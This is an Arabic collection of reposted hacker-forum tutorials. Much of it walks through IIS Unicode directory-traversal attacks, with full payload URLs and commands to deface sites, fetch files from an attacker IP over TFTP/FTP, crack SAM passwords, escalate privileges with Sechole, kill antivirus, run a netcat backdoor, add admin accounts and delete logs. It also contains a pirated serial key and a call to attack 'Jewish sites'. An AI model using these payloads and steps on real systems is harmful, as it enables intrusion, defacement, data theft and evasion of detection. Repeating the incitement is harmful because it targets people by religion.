



" شرح  برنامج NeoTrace "

<منقول>

<الكاتب: DarK_HaCKeR >

برنامج يكشف كل شي عن صاحب الايبي 
مرحبا شباب .. 

هاذا برنامج ممتاز للكشف عن معلومات الشخص و بلده و كل شيء بس بمجرد معرفة الايبي ماله .. او تريد تعرف معلومات عن موقع معين .. 

اسم البرنامج .. 
Neo Trace Express 
اتفضلوا الوصلة .. 
http://www.neoworx.com/download/NTX325.exe
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اتمنى ان الشرح وافي وهذا هو السيريل نمبر : 
XDQG-2ZKN-X2PA-KTRQ
انتهى،،،

" كيفية القيام بجمع المعلومات عن موقع أو شبكة "

<منقول من منتدى إعصار>

<الكاتب: المدمر>

طرق جمع المعلومات لأي موقع أو سيرفر أو شبكة أيا كانت :

=(الطريقة الأولى)=
^^^^^^^^^^^^^^^^^^^
وهي من خلال زيارة موقع 
http://www.netcraft.com/ 
وتكتب الموقع هناك وراح يعرض لك معلومات تفيدك كثير
^^^^^^^^^^^^^^^^^^^

=(الطريقة الثانية)=
^^^^^^^^^^^^^^^^^^^
وهي قديمة تستخدم حديثا لكني لاادري مدى عملها ولنفرض الموقع الي نبي نجيب معلومات عنه هو
http://www.almodammer.com/
نقوم بإرسال رسالة لإيميل وهمي وغير موجود مثل
dfl;kjgk'dgjbumpipt@almodammer.com
وبعد ارسال رسالة لإيميل وهمي راح تستقبل رد ولما تعرض الـHeaders الخاص بالرسالة راح تلاقي معلومات عن الموقع
^^^^^^^^^^^^^^^^^^^

=(الطريقة الثالثة)=
^^^^^^^^^^^^^^^^^^^
الـBanners
ماهو البانر؟
البانر وباختصار شديد هي الرسائل التي تأتيك عندما تنفذ أمر ما يعني الرد..
وكيف راح نستغلها في كشف معلومات الموقع؟
عن طريقة أداة Telnet Client عميل التلنت والطريقة هي أن تقوم بالاتصال بأحد المنافذ سواء كان 
FTP 21
أو
TELNET 23
^^^^^^^^^^^^^^^^^^^

=(الطريقة الرابعة)=
^^^^^^^^^^^^^^^^^^^
وهي HTTP
Hyper Text Transfer Protocol
ويعمل على المنفذ 80 - 8080
ألحين نتصل على المنفذ 80 عن طريق Telnet وبعدين نكتب الأمر التالي
GET /qwe HTTP/1.1
بعد كذا راح يخبرنا البانر بوجود صفحات الخطأ 400
وراح تجيك معلومات هائلة عن الهدف
وفيه عندك امر ثاني وهو:
HEAD 127.0.0.1 HTTP/1.1
تقوم بتنفيذه ...
^^^^^^^^^^^^^^^^^^^

=(الطريقة الخامسة)=
^^^^^^^^^^^^^^^^^^^
وهي من أمر ping الذي يقوم بإرسال عدة طلبات للـip أو للموقع ويقوم باستقبال الردود وبسرعة هائلة 
الحين كيف نستفيد منها في تحديد معلومات للموقع !
حيث تقوم بوضع التالي
ping ipsite
ipsite= الآي بي الخاص بالموقع 
وراح يطلعلك عدة اسطر حنا مايهمنا الا كلمة
TTL=XXX
XXX=القيمة والعدد الي طلعلك
بتقولي وش فايدته أقولك من خلاله يمكن تحديد نظام التشغيل وهذي امثلة:
Windows 9x/NT Intel 32 
Windows 9x/NT Intel 128 
Windows 2000 Intel 128 
DigitalUnix 4.0 Alpha 60 
Unisys x Mainframe 64 
Linux 2.2.x Intel 64 
FTX(UNIX) 3.3 STRATUS 64 
SCO R5 Compaq 64 
Netware 4.11 Intel 128 
AIX 4.3.x IBM/RS6000 60 
AIX 4.2.x IBM/RS6000 60 
Cisco 11.2 7507 60 
Cisco 12.0 2514 255 
IRIX 6.x SGI 60 
FreeBSD 3.x Intel 64 
OpenBSD 2.x Intel 64 
Solaris 8 Intel/Spar 64 
Solaris 2.x Intel/Sparc 255
وقد يحدث اختلاف في القيم حيث يكون الفرق يساوي واحد 
أي: عند مرور data list or packet (حزم او قائمة بيانات) بـNodes حيث أن TTL تنقص بـ1
لذلك عليك ان تستعمل أمر tracert في الويندوز أما traceroute فهو خاص باليونكس
وهو امر خاص بعرض معلومات عن الشخص أو الموقع 
ويمكننا استخدامه بهذه الطريقة
tracert ip
ip= عنوان الموقع أو السخص 
^^^^^^^^^^^^^^^^^^^

=(الطريقة السادسة)=
^^^^^^^^^^^^^^^^^^^
عن طريقة الأدوات والبرامج
أولا Windows لأنه الأسهل 
يمكنك تحديد معلومات عن الموقع والسيرفر او المنافذ المفتوحة من قبل تطبيق اي برنامج ويمكنك استغلال المنافذ بكثير من عمليات الاختراق وسوف نطرق لها في الدرس الثاني
تعرفون ان الويندوز مليان برامج لكن تعرفون ان مو كل برنامج مثل أي برنامج عشان كذا راح اذكر الافضل :
N-Stealth (لتحديد معلومات عن الشبكة منها المنفذ ثغرات ...الخ)
=============
Shadow Sceurity Scanner )من أفضل برامج البحث عن المنافذ والتطبيقات والعمليات ومعظم الثغرات مع وجود شرح لكيفية علاجها)
=============
SuperScan )برنامجي المفضل فأنا استخدمه لاختراق المواقع والأجهزة حيث يساعدني كثيرا في معرفة المنافذ المفتوح بالموقع والأجهزة ويحتوي على List كبيرة يمنك الإضافة عليها كيفما شئت)
-------------------------------------------------------------------------
الحين نجي على Linux
هو برنامج واحد مفضل وأكثر مستخدمين ليونكس يشهدون بجدارته والذي يحمل اسم
Nmap
اختصار لـNetwork Maper (مستكشف الشبكات)
وطبعا يفوق كل ادوات ويندوز وطرق ويندوز علشان كذا دائما ينصح بـLinux وهو خاص للمتهمين باختراق الشبكات/المواقع/السيرفرات
كيفية استمعاله :
شغل nmap وراح تجد الكثير من الأوامر الذي ظهرت مثل/
[l] Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options] 
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p ports to scan. Example range: '1-1024,1080,6666,31337'
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don't ping hosts (needed to scan http://www.microsoft.com/ and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-T General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-oG Output normal/XML/grepable scan logs to 
-iL Get targets from file; Use '-' for stdin
* -S /-e Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
Example: nmap -v -sS -O http://www.my.com/ 192.168.0.0/16 '192.88-90.*.*'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
وأيضا يحتوي العديد من الاوامر المجهولة !!!!!!!!!
ولخلفية ومعلومات اكثر قم بالذهاب إلى man page الخاص بالبرنامج..
لنشرح أهم أمر وهو 
nmap -sS -O -vv almodammer.com
almodammer.com=الموقع المراد فحصه
وراح يعرض لك معلومات هائلة تفوق معلومات برامج وأدوات ويندوز
منها المنافذ والإصدار والملقم والسيرفر .......
^^^^^^^^^^^^^^^^^^^

=)الطريقة السابعة)=
^^^^^^^^^^^^^^^^^^^
تعتمد على وجود جهازك Linux أو Shell Account حتى تقدر تطبق اوامر اليونكس في الويندوز لكن لو تركب Linux أفضل لأن Shell لازم يكون ممتاز وسعره مناسب علشان كذا لاتتعب نفسك وركب Linux وارتاح
المهم هذا أمر whois 
والي يوفره لنا Linux والويندوز كبرامج كبيرة وثقيلة وغير دقيقة 
ولمعلومات أكثر اضف الأمر
man whois 
-------------------------------------------------------------------
أما عن طريق الويندوز فيمكنك البحث في google
http://www.google.com/search?q=whois&btnG=Google+Search
والكثير من المواقع تقدم هذي الخدمة وهي سكربتات و cgi تقوم بالبحث عن الموقع بإحدى الطرق التي ذكرتها مع اختلاف بسيط وهي شبيهة بموقع netcraft الطريقة الأولى..............
انتهى،،،

" برنامج عمران سكان للبحث عن الثغرات "

<منقول من عالم الكومبيوتر>

<الكاتب: P @ LH@CKERZ<


برنامج عمران سكان يعتبر من أفضل برامج كشف الثغرات و ذلك لما يتميز به من سرعه سهولة في تغيير ملف الثغرات.   
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1 اسم الموقع المراد البحث عن ثغرات فيه 
و لا تنسى http:// 
ملاحظه : 
لا تضع \ في نهايه الموقع مثل 
http://www.XXX.com/ 
لأنه سيضع من عنده / عند تطبيق الثغره 

2 اسم ملف الثغرات 

3 لتغيير ملف الثغرات إلى ملف آخر 

4 الثغرات الموجوده في الملف 

5 لبدء الفحص 

6 للايقاف 

7 شاشة العمليات الجاريه من فحص الثغرات على الموقع 

8 الثغرات الموجوده على الموقع التي نجح اختبارها 

9 لمسح شاشه العمليات و النتائج لإعاده البحث مره اخرى على ثغرات اخرى 

10 ال 

11 منفذ ال 

ملاحظ : 10 11 
اذا ما عرفت ال فيجب عليك مسح البيانات 

12 للخروج 

  

ملاحظه هامه : 
لا تنسو المواقع اليهودية التي تنتظر من يخترقها فأرجو عدم استخدامه ضد الموقع العربية او الاسلامية.

انتهى،،،

" الإختراق عن طريق اليونيكود (الجزء الأول) "

<منقول>

<الكاتب: sNiper_hEx>

يحتوى الدرس الاول على ( 13 نقطة ) وهي كما يلي :-

· تعريف باليونيكود .
· تاريخ ظهور هذه الثغرة .
· كيفية ايجاد هذه الثغرات .
· كيف يتم استغلال ثغرات اليونكود .
· الاوامر المستخدمة بواسطة ملف CMD  .
· طريقة تطبيق هذه الثغرات .
· كيفية اختصار ثغرة اليونيكود حتى تتمكن من تفعيل امر الـ ECHO .
· طريقة نسخ ملف الـ CMD لاتاحة امكانية الكتابة على الملفات .
- 
كيفية معرفة مشكلة الـ Access Denied والحلول المتبعة لها .
· كيفية عمل اكاونت للدخول بواسطة الـFTP  .
· طريقة كشف باسورد الادمينستريتور .
· تغيير الصفحة الرئيسية للموقع وعملية الاب لوود بواسطة برنامج TFTP  .
· مسح ملفات اللوق حتى لا يتم التعرف عليك .

· تعريف باليونيكود .
اليونيكود عبارة عن مجموعة من الثغرات في مجموعة خدمة المعلومات التي ركبت مع IIS4.0 / IIS5.0 والذي ياتي عادة مع  NT4 / Win2k .

· تاريخ ظهور هذه الثغرة .
لايوجد تاريخ محدد لظهور اول ثغرة لليونيكود لذا يعتبر ظهورها بواسطة شخص مجهول anonymous person ، وقيل ان اول ظهور لثغرات اليونيكود كانت بواسطة الصينين ولكن لايوجد مايثبت صحة هذا الكلام   لهذه الثغرات ، فتم استغلال هذه الثغرات من قبل المخترقين وتطوير البرامج اللازمة لها .

· كيفية ايجاد هذه الثغرات .
يتم ايجاد هذه الثغرات بطريقتين :-

1- بواسطة البرامج اللازمة والمخصصة لكشف هذه الثغرات سواء بالبرامج التي تعمل على نظام ويندوز او بطريقة الشل والتي تعمل على نظام لينكس .

2- بواسطة تطبيق الثغرة على الموقع مباشرة .
· كيف يتم استغلال ثغرات اليونكود .
عند تطبيق الثغرة على نظام الـ IIS4 / IIS5 يبدا ملف  CMDبفك شفرة اليونكود في المثال الخطاء        ومن هنا يتم استغلالها .

· الاوامر المستخدمة بواسطة ملف CMD  .
الاوامر المستخدمه بواسطة ملف الـCMD  وهي امر لانشاء دليل جديد وامر لالغاء دليل وامر النسخ وامر النقل وامر الحذف وامر تغيير اسماء الملفات وامر لرؤية محتويات الملف وامر الكتابة داخل أي ملف وامر لسحب أي ملف ، وهي حسب الامثلة التالية :-

امر انشاء دليل جديد: http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+md+c:\hEx 

امر الغاء دليل: http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+rd+c:\hEx 

للمعلومية:لايمكن الغاء أي دليل الا اذا كان فارغاً تمام من الملفات والمجلدات
الامر المستخدم للنسخ:

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\hEx.exe

الامر المستخدم للنقل:

http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+move+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\hEx.exe+c:\

الامر المستخدم للحذف: http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+c:\hEx.mdb 

الامر المستخدم لتغيير مسمى الملفات: http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+ren+c:\index.htm+hEx.htm

الامر المستخدم لرؤية محتويات الملف: http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+type+c:\hEx.txt

الامر المستخدم للكتابة داخل أي ملف:

http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+echo+sNiper_hEx+>c:\hEx.txt

الامر المستخدم لعملية سحب أي ملف:

عليك القيام اولاً بنسخ الملف المراد سحبه الى أي دليل وبعدها يتم كتابة اسم الملف في اخر العنوان كالتالي:

http://www.xxxx.com/msadc/hEx.mdb

· طريقة تطبيق هذه الثغرات .
تطبيق الثغرة على الموقع من خلال المتصفح تتم حسب الامثلة التالية :-

http://www.xxxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

http://www.xxxx.com/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\
http://www.xxxx.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

http://www.xxxx.com/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\
http://www.xxxx.com/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\

http://www.xxxx.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

http://www.xxxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir +c:\

وقد نحتاج الى تغيير مسمى الدليل بحيث يكون :-

Msadc , _vti_bin , iisadmpwd ,  _vit_admin , scripts , samples , cgi-bin  

· كيفية اختصار ثغرة اليونيكود حتى تتمكن من تفعيل امر الـ ECHO .
في حالة اكتشاف موقع يعاني من مشكلة اليونيكود ولنفترض انه كان على هذه الثغرة :-

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
فنحتاج الى نسخ ملف w3svc.exe الى مجلد inetpub\scripts والامر يكون بهذه الطريقة :-

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\w3svc.exe
بعد نسخ ملف w3svc.exe الى مجلد inetpub\scripts ، الان نقوم بتصفح الموقع من خلال الثغرة بهذه الطريقة :-

http://www.xxxx.com/scripts/w3svc.exe?/c+dir+c:\
الان نستطيع الكتابة داخل أي ملف وبالتحديد الملف الرئيسي للموقع الذي غالبا مايكون في هذا الدليل 

inetpub\wwwroot\index.htm بحيث يكون الامر بالشكل التالي :-
http://www.xxxx.com/scripts/w3svc.exe?/c+echo+Hacked+By+sNiper_hEx+hExRay@Hotmail.com+>+c:\inetpub\wwwroot\index.htm
· طريقة نسخ ملف الـCMD لاتاحة امكانية الكتابة على الملفات .
الغرض من نسخ ملف الـCMD وهو لاعطاء امكانية للكتابة داخل السيرفر في بعض الحالات ويتم نسخه الى مجلد السيكربت بهذه الطريقة :-

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmd1.exe
الان بامكاننا استخدام ملف الـCMD الجديد في الثغرة بدلا من الاول بهذا الشكل :-

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd1.exe?c+dir+c:\
- كيفية معرفة مشكلة الـ Access Denied والحلول المتبعة لها .
تتم معرفة مشكلة الـAccess Denied  من خلال المحاولة في حذف أي ملف من أي امتداد ، فعند ظهور رسالة الـ Access Denied فاليك هذه الطرق حتى تتمكن من الكتابة على الملفات والتحكم اكثر على السيرفر :-

1- الطريقة الاولى نسخ ملف الـ CMD الى دليل السيكربت بمسمى CMD1 فسوف يتاح لك امكانية الكتابة باستخدام الامر Copy  باستخدام هذا الامر :-
http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmd1.exe
2- الطريقة الثانية بالتعامل مع الملف ssinc.dll والطريقة كما يلي :-
· اولا انشاء صفحة باسم test.shtml
· تكون هذه الصفحة داخل مجلد wwwroot/hEx/test.shtml
· كتابة هذا الكود داخل الصفحة <!--#include file="AAAA[...]AA"--> بحيث ان حرف A يتم كتابتة حتى يتعدى 2049 حرف .
· الان يتم طلب الصفحة من خلال المتصفح http://www.xxxx.com/test.shtml
· الان سوف تظهر لك الصفحة .
· الان تستطيع الكتابه وتم تخطي مشكلة الـAccess Denied .
· اذا ظهرت لك صفحة الخطاء رقم 500 فمعناها انك لم تقم بتطبيق الطريقة بالشكل الصحيح وعليك اعادة المحاولة .
3- الطريقة الثالثة باستخدام برنامج NC.exe بحيث يتم عمل اب لوود لهذا الملف داخل مجلد الـTemp في دليل الويندوز ومنه يتم تنفيذ الاوامر من خلال موجة الدوز وللمعلومية مجلد الـTemp مفتوح لعمليات الاب لوود .
4- الطريقة الرابعة وهي من خلال عمل كراش للسيرفر باستخدام البرامج اللازمة لهذا الغرض وهذه الطريقة غير مجديه في كثير من الاحيان .
5- البحث عن ملفات : root.exe ، sensepost.exe ، shell.exe ، w3svc.exe ونسخها الى مجلد c:\inetpub\scripts وتطبيق الثغرة من خلالها .
· كيفية عمل اكاونت للدخول بواسطة الـFTP  .
1- نسخ ملف CMD الى مجلد Scripts باسم Shell.exe حتى يتم الاستفادة من ثغرة قديمة 
/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe
2- انشاء ملف mspft.pll  بواسطة الامر Echo وكتابة فيه التالي open ftp.host.com حيث ان هذا هو الخادم للـFTP .
/c+echo+open+ftp.host.com+>+c:\winnt\mspft.ppl
3- الان مطلوب اضافة مجهول Anonymous الى نفس الملف الذي قمنا بانشاءه mspft.pll  
/shell.exe?/c+echo+anonymous+>>+c:\winnt\mspft.ppl

4- الان مطلوب ادراج البريد hExRay@Hotmail.Com الى نفس الملف الذي قمنا بانشاءه mspft.pll  
/shell.exe?/c+echo+hEx@Hotmail.Com+>>+c:\winnt\mspft.ppl

5- إضافة User قبل Anonymous لزوم الملف الذي قمنا بانشاءه mspft.pll  
/shell.exe?/c+echo+user+anonymous+>>+c:\winnt\mspft.ppl

6- الان تكرار  لحاجة الاعداد 
/shell.exe?/c+echo+hEx@Hotmail.Com+>>+c:\winnt\mspft.ppl

7- يتم هنا ادراج الموقع الحالي للملفات 
/shell.exe?/c+echo+lcd+c:\inetpub\wwwroot+>>+c:\winnt\mspft.ppl

8- الان يكتب اوامر الـFTP اللازمة لسحب الملف من خادم الـFTP وهي Get index.htm ثم يدرج هنا بدون المسج السابق 
/shell.exe?/c+echo+get+index.html+>>+c:\winnt\mspft.ppl

9- هنا نفس السابق ولكن باضافة Quit
/shell.exe?/c+echo+quit+>>+c:\winnt\mspft.ppl
10- الان يتم تنفيذ امر FTP.exe?+"-s:c:winnt\mspft.ppl”  وهو عبارة عن خطوات قمنا بانشاءها وموجودة في ملف mspft.ppl باحتوائها على مايلي :-
- Open FTP.host.com

- Anonymous

- hEx@Hotmail.Com
- User Anonymous

- hEx@Hotmail.Com

- Get index.html

- Quit
 /msadc/..%c0%af../..%c0%af../winnt/system32/ftp.exe?+"-s:c:\winnt\mspft.ppl"
· طريقة كشف باسورد الادمينستريتور .
نحتاج الى وجود برنامجين ( Microsoft Access – L0phtCrack ) وهي لزوم تنفيذ بعض الخطوات لتالية وهي :-

· باسورد الادمينستيتور للسيرفر يكون موجود في ملف الـ SAM._ في دليل  \winnt\repair\ وافضل برنامج  لفك شفرة الباسورد هو برنامج L0phtCrack كما هو موضح بالشكل التالي:-
[image: image5.jpg]Program Files\L0phtCrack 2.5\pwd26 - LOphtCrack 2.5 =10l x|
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· اذا كان هناك مستخدمين في السيرفر ويوجد لديهم حساب فان معلوماتهم سوف تكون في ملف PASSFILT.DLL ونستطيع تحديد مسار هذا الملف من خلال الريجستري بواسطة هذا المفتاح :-
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SYSTEM32\PASSFILT.DLL
· اذا كان السيرفر يعتمد في القراءة باستخدام صفحات الـ ASP للوصول الى البيانات من خلال قاعدة          الـ MySQL فسوف نحتاج الى تطبيق ثغرة ( +.htr )  للوصول الى باسورد المسئول عن هذة القاعده وهي كالتالي :-
http://www.xxxx.com/default.asp+.htr
عند ظهور صفحة الخطا في الوصول الى الصفحة المطلوبة وبالتحديد في سيكربت التنفيذ فالطريقة صحيحة وماعلينا فقط سوى سحب ملف database.inc وقراءة محتوياته للعثور على اسم المستخدم والباسورد للمسئول عن قاعدة البيانات .
· تغيير الصفحة الرئيسية للموقع وعملية الاب لوود بواسطة برنامج TFTP  .
1- قم بانشاء صفحة وضع شعارك عليها واحفظها باسم index.htm على الـ c:\ 

2- قم بتشغيل برنامج TFTP ونفذ الامر في الفقرة التالية .
/c+tftp.exe+"-i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\index.htm
	tftp.exe
	وهو البرنامج اللازم لعمل الاب لوود ويجب ان يكون شغال في حالة تنفيذ الامر

	"-i"
	وهو بمثابة باراميترز لزوم قراء البيانات في مكتبة الملفات

	1.1.1.1
	رقم الايبي الخاص بك 

	GET
	وهو الامر اللازم لطلب الملفات مابين الارسال والاستقبال

	index.htm
	اسم الملف بجهازك

	\inetpub\wwwroot\
	اسم الدليل في السيرفر

	index.htm
	اسم الملف على السيرفر


· مسح ملفات اللوق حتى لا يتم التعرف عليك .

وتتم هذه العملية من خلال حذف ملفات الـ Log من مجلد System32  بواسطة الامر :-

/c+del+c:/winnt/system32/logfiles/*.log
انتهى ،،،

" الإختراق عن طريق اليونيكود (الجزء الثاني) "

<منقول من منتديات شبكة الحزم الإسلامية>

في  الدرس الأول  كان عبارة عن اوامر اساسية يستطيع الجميع تطبيقها .. اما في هذا الدرس فالأمر يتطلب بعض الذكاء والمهارة ..

البداية : 
--------------

عند وجود موقع مصاب بثغرة ما (يونيكود) فان اول شي عليك القيام به هو نسخ مجلد cmd الى cmd1 بهذه الطريقة :
C+copy+c:\winnt\system32+
c:\winnt\system32\cmd1.exe والسبب هو تفعيل امر الكتابة Echo .. 
وبعد ذلك نفذ الثغرة من الملف الجديد CMD1.exe ( هذا شي يعرفه الجميع ) لكن للتذكير فقط ! 

الان عند تصفحك لملفات الموقع من المتصفح .. من خلال هذه الثغرة فانه سيكون لديك صلاحيات IWAM_USER وهذا المستخدم هو عبارة عن يوزر ينتمي للمجموعه Guest وهو اليوزر المسؤوول عن تشغيل سيرفر IIS .
وبما انه من مجموعة Guest فهو لا يملك صلاحيات كثيرة !! الا اذا تم اعداده بشكل سيء :) 

لايوجد شي اكثر ادمانا من محاولة الحصول على رووت :) هذا في انظمة *nix اما في Microsot فالوضع مختلف :) فإن محاولة الحصول على صلاحيات Administrator ليس بالسهولة التي تتوقعها :) فرفع الامتيازات بشكل محلي في انظمة مايكروسوفت ممكن فقط بطرق قليلة لا يتعدى عددها اصابع اليد الواحده .. وانا اكتب هذا الموضوع لاشرح كيفية احكام السيطرة على السيرفر والحصول على حساب مكافيء للمدير :) والتمتع بجميع موارد النظام ..

+ الملفات المطلوبة : 
Sechole.exe وملحقاتها .
Kill.exe 
Tlist.exe 
ncx99.exe 
tftpd32.exe 

جهز العده :) .. 
لتوفير الوقت جمعتها في مجلد واحد هنا 
الان سأشرح عمل كل اداة : 

1 - Sechole وهو اقوى استثمار موجود لرفع الامتيازات بشكل محلي .. وطريقة عمله (بشكل مبسط) بأنه يعتمد على صدع في نواة ويندوز ان تي .. يستطيع من خلاله اغتصاب عملية تابعه لمدير النظام يقوم من خلالها برفع امتيازاتك :) .

2 - Tlist تقوم بعرض جميع العمليات التي تعمل بالخلفيه .. والفائده منها هو اقفال الفايروول + الانتي فايروس :) 
3- Kill.exe عملها متمم للاداة السابقة حيث ستقوم باقفال رقم العملية المستخرج من الاداة السابقة .
3- NCX99 نسخه مطورة من الباكدوور NC ينصت على المنفذ 99 
4- TFTP32.exe لنقل الملفات الى السيرفر .. 



كل ما سبق كان عبارة عن مقدمه :) اما العمل الحقيقي سيبدأ الان : 


اولا قم برفع جميع الادوات السابق الى السيرفر ..
ثم قم بتشغيل ncx99.exe بهذا الشكل مثلا : 
http://target/scripts/..À¯../winnt/system32/cmd1.exe?/c+C:\ncx99.exe 
بعد ذلك قم بالاتصال بالموقع على البورت 99 ..
ستحصل على سطر اوامر CMD بدون امتيازات = Guest .
الان قم بتشغيل الاداة TLIST .. ستعرض لك جميع العمليات التي تعمل .. قم بالبحث عن رقم العملية PID الخاص بالانتي فايروس ان وجد .. وكذلك اذا وجدت جدار ناري .. 
سجل رقم PID الخاص بالانتي فايروس والفايروول على ورقه جانبيه .. 
الان قم بقتل الاجراء بالاداة Kill بهذا الشكل : KILL.exe PID .. مكان PID تضع رقم العملية :) 
يسأل البعض ! مالهدف من اقفال الانتي فايروس ؟ الاجابة .. أن التحديثات الاخيرة من انتي فايروس تتعامل مع Sechole على انه باكدور .. والان بعد اتمام العمليات السابقة بنجاح .. قم بتشغيل Sechole.exe :) من المتصفح .


عندها سيتم رفم امتيازات IWAM_USER الى مجموعه Administrators ..
الان بإمكانك تنفيذه جميع الاوامر بكامل الحريه وبدون اي مشاكل في الصلاحيات Access Denided .
وطبعا اهم شي الكتابة على الصفحه الرئيسية بامر الايكو :
C+Echo+Hacked+by+XDeMoNX+
> +C;\inetpub\wwwroot\index
.htm 

ولكن ليس هذا كل شي .. 
القراصنه الاذكياء لا يبحثون فقط عن تغيير الصفحه الرئيسية خصوصا اذا كان الموقع مهم او يحتوي على 
معلومات او قواعد بيانات ... إلخ :) 

سؤال : هل تستطيع الدخول بهذا اليوزر ؟ IWAM_USER الى اي خدمه مثل تلنت او اف تي بي ؟؟
الاجابة : لا .. صحيح اننا قمنا برفع امتيزاته لكننا لا نملك كلمه المرور ! لانه تكون مسنده بشكل عشوائي . 
سيذهب تفكير البعض الى الحصول على ملف السام وكسره :) هذا ممكن .. لكن يوجد ماهو اسهل .
بما اننا لدينا حساب مكافي لـ Administrator ولكننا لا نملك كلمة المرور . ما رأيك بإضافه يوزر جديد باسمك مع باسورد خاصه بك مع امتيازات المدير ايضا !! :) قليل من الذكاء والتفكير :) 
قم بانشاء مستند نصي جديد واضف السطر التالي : 
net user Demon pass /add && net localgroup administrators Demon /add والان Save as واحفظها باسم add.bat .
توضيح : ما فعلناه سابقا هو انشاء مجلد دفعاتي يقوم بانشاء يوزر جديد Demon وكلمة مرور Pass واضافته الى مجموعة الادمنستريتورز :) المدراء ..
قم الان برفع الملف add.bat ثم تشغيلها من المتصفح (بواسطة اليونكود) 
الان لديك حساب مدير :) وتستطيع الدخول الى اي خدمه .. اف تي بي او تلنت او نت بيوس او غيرها :) 
لا تنسى في النهاية مسح الاثار واضافة الابواب الخلية الخاصة بك لتسهيل الدخول في المرات القادمه :) 
طبعا لن اتوسع في هذا الجانب لانه ( لكل شيخ طريقة!) وكل واحد له اسلوب في اخفاء ادواته والتحكم في الملفات .

نرجع لنقطة سابقة ..
هل تذكر اني طلبت منك اقفال الفايروول ؟؟ لماذا ؟
لو جربت تنفذ الامر netstat -an من خلال سطر اوامر الان سي .. فانك ستجد من المنافذ ما يسر القلب :) 
90% من السيرفرات اللي دخلتها وكانت محمية بجدران نار :) وجدت المنفذ 139 فيها مفتوحا بدون حمايه :) 
لذا فان اقفال الفايرول قد يجعل لك اكثر من خيار لاسقاط الهدف :) 

اسف على النحو الاملاء .. والتنسيق الـ أي كلام :) واختصار المعلومات ايضا .

بالامكان الاستعراض اكثر من ذلك بكثير .. الى درجة الحصول على تحكم رسومي GUI .

لكن لم يكون لدي الوقت الكافي .. اذا وجدت وقت فراغ فسأكتب عن طرق اخرى وادوات اخرى مثل GEtAdmin و Sechole2 وكيفية الحصول على تحكم رسومي بواسطه الاداة WINvnc ..

انتهى،،،

" معلومات عامة عن كيفية الاستفادة من ثغرات اليونيكود "

<منقول>

<الكاتب: بلاك هنتر>

الموضوع يتكلم عن اساليب التحكم في السيرفر عبر اليونيكود مع بعض المتطلبات
الادوات المطلوبه :

1) اداة مسح ثغرات يونيكود 
2) برنامج سيرفر TFTPD
3) معرفة جيده باليونيكود
=================================================

=================================================

1) بأمكانك الحصول على ثغرات اليونيكود من العديد من المواقع او من موقعي

http://www.devil2k.com/
وهذه مهداه مني انا (( بلاك هنتر ))

/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

